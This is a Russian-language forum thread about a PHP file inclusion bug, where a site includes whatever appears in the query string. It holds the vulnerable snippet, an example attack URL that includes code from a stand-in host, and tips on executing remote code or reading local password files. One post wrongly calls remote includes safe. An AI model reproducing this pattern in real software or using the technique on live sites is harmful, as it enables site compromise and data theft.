клиентов поломали, сайт не скажу какой, если клиент увидит, то извиняюсь перед ним, но такое писать НЕЛЬЗЯ кроме как в trash наверное некуда это постить... PHP: <?php function foo ($in) { if ($in != "") {$out=$in;} else {$out="about-first.inc";} return $out;}?> <? include (foo($_SERVER['QUERY_STRING'])); ?>
Vlad, такие примитивнейшие include-баги можно найти на тысячах сайтов в интернете )) Это, к сожалению, не редкость.
Дело в том, что в переменную $_SERVER ["QUERY_STRING"] можно написать, все что угодно => включить в скрипт любой файл, например: http://site.ru/?http://hackers.com/evil.php
Ничего не будет, если вставить http://site.ru/?http://hackers.com/evil.php. А вот если туда вставить путь к какому-нибудь локальному файлу, например, к паролям, то выведется его информация
Хм.. Странно, у меня в мануале написано что код вставится. PHP: <?php /* This example assumes that [url=http://www.example.com]www.example.com[/url] is configured to parse .php * files and not .txt files. Also, 'Works' here means that the variables * $foo and $bar are available within the included file. */ // Won't work; file.txt wasn't handled by [url=http://www.example.com]www.example.com[/url] as PHP include 'http://www.example.com/file.txt?foo=1&bar=2'; // Won't work; looks for a file named 'file.php?foo=1&bar=2' on the // local filesystem. include 'file.php?foo=1&bar=2'; // Works. include 'http://www.example.com/file.php?foo=1&bar=2'; $foo = 1; $bar = 2; include 'file.txt'; // Works. include 'file.php'; // Works. ?> [/code]
А где будет выполняться скрипт 'http://www.example.com/file.php?foo=1&bar=2', на удаленном сервере или локальном? Опасность будет только когда в html вставится javascript, который, например, может своровать куки. А include удаленного php скрипта абсолютно безопасно, так как вставляется только результат выполнения, т.е. только текст.
но если удаленный скрипт хранить на хостинге, который не интерпретирует пхп скрипты, то все прекрасно сработает. скрипт проинклудится и выполнится на локальном сервере.
Да, действительно. Не знал про это. Но не надо искать хостинг, где не выполняются скрипты, а достаточно передать текст в виде кода, например, сохранив с расширением txt